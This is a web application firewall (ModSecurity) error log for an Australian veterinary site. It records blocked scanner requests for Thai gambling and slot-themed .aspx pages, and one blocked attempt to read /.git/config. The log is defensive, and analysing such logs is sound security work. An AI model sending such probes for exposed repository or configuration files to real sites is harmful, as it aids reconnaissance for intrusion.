[Tue Jan 27 15:35:49.071114 2026] [:error] [pid 7561:tid 7567] [client 54.37.252.119:35896] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lotto%20vip%20%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%B9%E0%B9%88%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9A.aspx"] [unique_id "aXhq1bXGI6mgvHQqkXyvCwAAAMM"]
[Tue Jan 27 15:35:52.328821 2026] [:error] [pid 7561:tid 7568] [client 54.37.252.119:35900] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lottovip%20%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%B9%E0%B9%88%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9A.aspx"] [unique_id "aXhq2LXGI6mgvHQqkXyvEwAAAMQ"]
[Tue Jan 27 15:35:54.917139 2026] [:error] [pid 48412:tid 48435] [client 54.37.252.119:35910] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/m24%20wallet%20%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%B9%E0%B9%88%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9A.aspx"] [unique_id "aXhq2nbJMfAKlln88JG-WgAAAVU"]
[Tue Jan 27 15:35:58.139748 2026] [:error] [pid 7454:tid 7518] [client 54.37.252.119:37170] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/magnum%204d%20%E0%B8%AB%E0%B8%A7%E0%B8%A2%20%E0%B8%A1%E0%B8%B2%E0%B9%80%E0%B8%A5%20%E0%B8%A2%E0%B9%8C%20%E0%B8%A7%E0%B8%B1%E0%B8%99%E0%B8%99%E0%B8%B5%E0%B9%89.aspx"] [unique_id "aXhq3pltCoZEfMmfl8D51gAAAII"]
[Tue Jan 27 15:36:01.130860 2026] [:error] [pid 48631:tid 48648] [client 54.37.252.119:37184] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mm88rich%20%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2.aspx"] [unique_id "aXhq4SN5eesHzEogX0wb9wAAAk8"]
[Tue Jan 27 15:36:04.943099 2026] [:error] [pid 48662:tid 48681] [client 54.37.252.119:37200] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/n83%20com%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXhq5OD8iESUP9uRiRPSugAAAo0"]
[Tue Jan 27 15:36:08.616262 2026] [:error] [pid 7453:tid 7507] [client 54.37.252.119:40870] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nagaway%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%B9%E0%B9%88%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9A.aspx"] [unique_id "aXhq6BfsyA2ws_ADquhfSAAAAFI"]
[Tue Jan 27 15:36:12.453237 2026] [:error] [pid 48631:tid 48654] [client 54.37.252.119:40880] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pay69%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXhq7CN5eesHzEogX0wb_QAAAlU"]
[Tue Jan 27 15:36:15.354758 2026] [:error] [pid 48528:tid 48543] [client 54.37.252.119:40890] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%2050%20%E0%B8%A2%E0%B8%B7%E0%B8%99%E0%B8%A2%E0%B8%B1%E0%B8%99%E0%B9%80%E0%B8%9A%E0%B8%AD%E0%B8%A3%E0%B9%8C.aspx"] [unique_id "aXhq7wOGRrquT9N7CZpTEgAAAg0"]
[Tue Jan 27 15:36:19.664743 2026] [:error] [pid 48446:tid 48498] [client 54.37.252.119:34684] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "aXhq88DRSaZ8F8aaLxlkPgAAAdQ"]
[Tue Jan 27 15:37:18.653301 2026] [:error] [pid 7561:tid 7566] [client 54.37.252.119:34692] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aXhrLrXGI6mgvHQqkXyvYwAAAMI"]
[Tue Jan 27 15:37:21.920843 2026] [:error] [pid 48412:tid 48418] [client 54.37.252.119:48198] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aXhrMXbJMfAKlln88JG-3gAAAUQ"]
[Tue Jan 27 15:37:26.288899 2026] [:error] [pid 7453:tid 7504] [client 54.37.252.119:48202] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99.aspx"] [unique_id "aXhrNhfsyA2ws_ADquhfnAAAAE8"]
[Tue Jan 27 15:37:30.196251 2026] [:error] [pid 7453:tid 7500] [client 54.37.252.119:37256] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aXhrOhfsyA2ws_ADquhfogAAAEs"]
[Tue Jan 27 15:37:33.580096 2026] [:error] [pid 7453:tid 7510] [client 54.37.252.119:37262] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aXhrPRfsyA2ws_ADquhfwgAAAFU"]
[Tue Jan 27 15:37:37.418030 2026] [:error] [pid 48528:tid 48553] [client 54.37.252.119:56078] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aXhrQQOGRrquT9N7CZpTQwAAAhc"]
[Tue Jan 27 15:37:41.085818 2026] [:error] [pid 7561:tid 7565] [client 54.37.252.119:56088] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot168.aspx"] [unique_id "aXhrRbXGI6mgvHQqkXyvcgAAAME"]
[Tue Jan 27 15:37:44.121361 2026] [:error] [pid 48446:tid 48499] [client 54.37.252.119:56096] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot24th.aspx"] [unique_id "aXhrSMDRSaZ8F8aaLxllUQAAAdU"]
[Tue Jan 27 15:37:47.864787 2026] [:error] [pid 7561:tid 7573] [client 54.37.252.119:53582] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot999.aspx"] [unique_id "aXhrS7XGI6mgvHQqkXyvegAAAMk"]
[Tue Jan 27 15:37:50.936766 2026] [:error] [pid 48528:tid 48532] [client 54.37.252.119:53590] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aXhrTgOGRrquT9N7CZpTSQAAAgI"]
[Tue Jan 27 15:37:53.951395 2026] [:error] [pid 48446:tid 48488] [client 54.37.252.119:53602] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aXhrUcDRSaZ8F8aaLxllVQAAAcs"]
[Tue Jan 27 15:37:57.596470 2026] [:error] [pid 48412:tid 48421] [client 54.37.252.119:56984] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%2050%20%E0%B8%A3%E0%B8%B1%E0%B8%9A%20otp.aspx"] [unique_id "aXhrVXbJMfAKlln88JG-9gAAAUc"]
[Tue Jan 27 15:38:00.134272 2026] [:error] [pid 7561:tid 7581] [client 54.37.252.119:56996] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aXhrWLXGI6mgvHQqkXyvhQAAANE"]
[Tue Jan 27 15:38:03.389810 2026] [:error] [pid 7561:tid 7572] [client 54.37.252.119:57000] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168.aspx"] [unique_id "aXhrW7XGI6mgvHQqkXyviQAAAMg"]
[Tue Jan 27 15:38:06.243967 2026] [:error] [pid 7453:tid 7489] [client 54.37.252.119:57010] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/u31%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%2031%20%E0%B8%9A%E0%B8%B2%E0%B8%97.aspx"] [unique_id "aXhrXhfsyA2ws_ADquhgAwAAAEA"]
[Tue Jan 27 15:38:09.286233 2026] [:error] [pid 48631:tid 48655] [client 54.37.252.119:57686] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/u31%20game%20%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%B9%E0%B9%88%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9A.aspx"] [unique_id "aXhrYSN5eesHzEogX0wcTAAAAlY"]
[Tue Jan 27 15:39:12.773607 2026] [:error] [pid 7453:tid 7491] [client 54.37.252.119:51088] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet289.aspx"] [unique_id "aXhroBfsyA2ws_ADquhgbwAAAEI"]
[Tue Jan 27 15:39:16.024927 2026] [:error] [pid 48412:tid 48437] [client 54.37.252.119:51098] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet777.aspx"] [unique_id "aXhrpHbJMfAKlln88JG_JgAAAVc"]
[Tue Jan 27 15:39:19.674066 2026] [:error] [pid 41780:tid 41805] [client 54.37.252.119:33998] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aXhrp1vu-XLQ0TaZ4FHp3gAAARc"]
[Tue Jan 27 15:39:23.156376 2026] [:error] [pid 48528:tid 48549] [client 54.37.252.119:34010] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/warpufa.aspx"] [unique_id "aXhrqwOGRrquT9N7CZpTYAAAAhM"]
[Tue Jan 27 15:59:54.238804 2026] [:error] [pid 7453:tid 7498] [client 93.123.109.175:43864] [client 93.123.109.175] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "aXhwehfsyA2ws_ADquhm7gAAAEk"]
[Tue Jan 27 18:13:43.989103 2026] [:error] [pid 7453:tid 7496] [client 217.182.195.179:41308] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%A2%E0%B8%B9%E0%B8%9F%E0%B9%88%E0%B8%B2888.aspx"] [unique_id "aXiP1xfsyA2ws_ADquiHgAAAAEc"]
[Tue Jan 27 18:13:47.070933 2026] [:error] [pid 48445:tid 48456] [client 217.182.195.179:53858] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%A3%E0%B8%A7%E0%B8%A1%20%E0%B9%82%E0%B8%9B%E0%B8%A3%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B8%9D%E0%B8%B2%E0%B8%81%201%20%E0%B8%A3%E0%B8%B1%E0%B8%9A%2050%20%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXiP2xFh_QNUhZ0HkzfK1wAAAYc"]
[Tue Jan 27 18:13:50.173110 2026] [:error] [pid 7453:tid 7503] [client 217.182.195.179:45044] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%A3%E0%B8%A7%E0%B8%A1%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%20betflix.aspx"] [unique_id "aXiP3hfsyA2ws_ADquiHiAAAAE4"]
[Tue Jan 27 18:13:52.817496 2026] [:error] [pid 48445:tid 48473] [client 217.182.195.179:45050] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%A3%E0%B8%A7%E0%B8%A1%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B8%9D%E0%B8%B2%E0%B8%8110%E0%B8%A3%E0%B8%B1%E0%B8%9A100%20%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94%202021.aspx"] [unique_id "aXiP4BFh_QNUhZ0HkzfK3gAAAZg"]
[Tue Jan 27 18:13:55.705354 2026] [:error] [pid 48446:tid 48477] [client 217.182.195.179:45066] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%A3%E0%B8%A7%E0%B8%A1%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXiP48DRSaZ8F8aaLxmGVQAAAcA"]
[Tue Jan 27 18:13:58.415029 2026] [:error] [pid 48662:tid 48686] [client 217.182.195.179:45070] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%A7%E0%B8%B4%E0%B8%98%E0%B8%B5%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20pg%20%E0%B9%83%E0%B8%AB%E0%B9%89%20%E0%B9%81%E0%B8%95%E0%B8%81.aspx"] [unique_id "aXiP5uD8iESUP9uRiRPk3wAAApI"]
[Tue Jan 27 18:14:01.149741 2026] [:error] [pid 48445:tid 48473] [client 217.182.195.179:50040] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A1%E0%B8%B1%E0%B8%84%E0%B8%A3%20sbobet.aspx"] [unique_id "aXiP6RFh_QNUhZ0HkzfK6gAAAZg"]
[Tue Jan 27 18:14:03.839835 2026] [:error] [pid 48446:tid 48499] [client 217.182.195.179:50050] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A1%E0%B8%B1%E0%B8%84%E0%B8%A3%E0%B8%9A%E0%B8%B2%E0%B8%84%E0%B8%B2%E0%B8%A3%E0%B9%88%E0%B8%B2.aspx"] [unique_id "aXiP68DRSaZ8F8aaLxmGYgAAAdU"]
[Tue Jan 27 18:14:06.633320 2026] [:error] [pid 48446:tid 48482] [client 217.182.195.179:50056] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A1%E0%B8%B1%E0%B8%84%E0%B8%A3%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95xo.aspx"] [unique_id "aXiP7sDRSaZ8F8aaLxmGcwAAAcU"]
[Tue Jan 27 18:14:09.711619 2026] [:error] [pid 7454:tid 7531] [client 217.182.195.179:37902] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A1%E0%B8%B1%E0%B8%84%E0%B8%A3slotxo.aspx"] [unique_id "aXiP8ZltCoZEfMmfl8AOlQAAAI8"]
[Tue Jan 27 18:14:12.271271 2026] [:error] [pid 7561:tid 7586] [client 217.182.195.179:37918] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%9F%E0%B8%A3%E0%B8%B5%20%E0%B8%96%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%94%E0%B9%89%20%E0%B8%A7%E0%B8%AD%20%E0%B9%80%E0%B8%A5%E0%B8%97.aspx"] [unique_id "aXiP9LXGI6mgvHQqkXzK4gAAANY"]
[Tue Jan 27 18:14:14.993813 2026] [:error] [pid 7453:tid 7501] [client 217.182.195.179:37928] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%9F%E0%B8%A3%E0%B8%B5%20%E0%B8%96%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%94%E0%B9%89%20%E0%B9%83%E0%B8%AB%E0%B8%A1%E0%B9%88%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXiP9hfsyA2ws_ADquiHogAAAEw"]
[Tue Jan 27 18:14:17.606186 2026] [:error] [pid 48412:tid 48433] [client 217.182.195.179:37938] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%9F%E0%B8%A3%E0%B8%B5%20100.aspx"] [unique_id "aXiP-XbJMfAKlln88JHe0AAAAVM"]
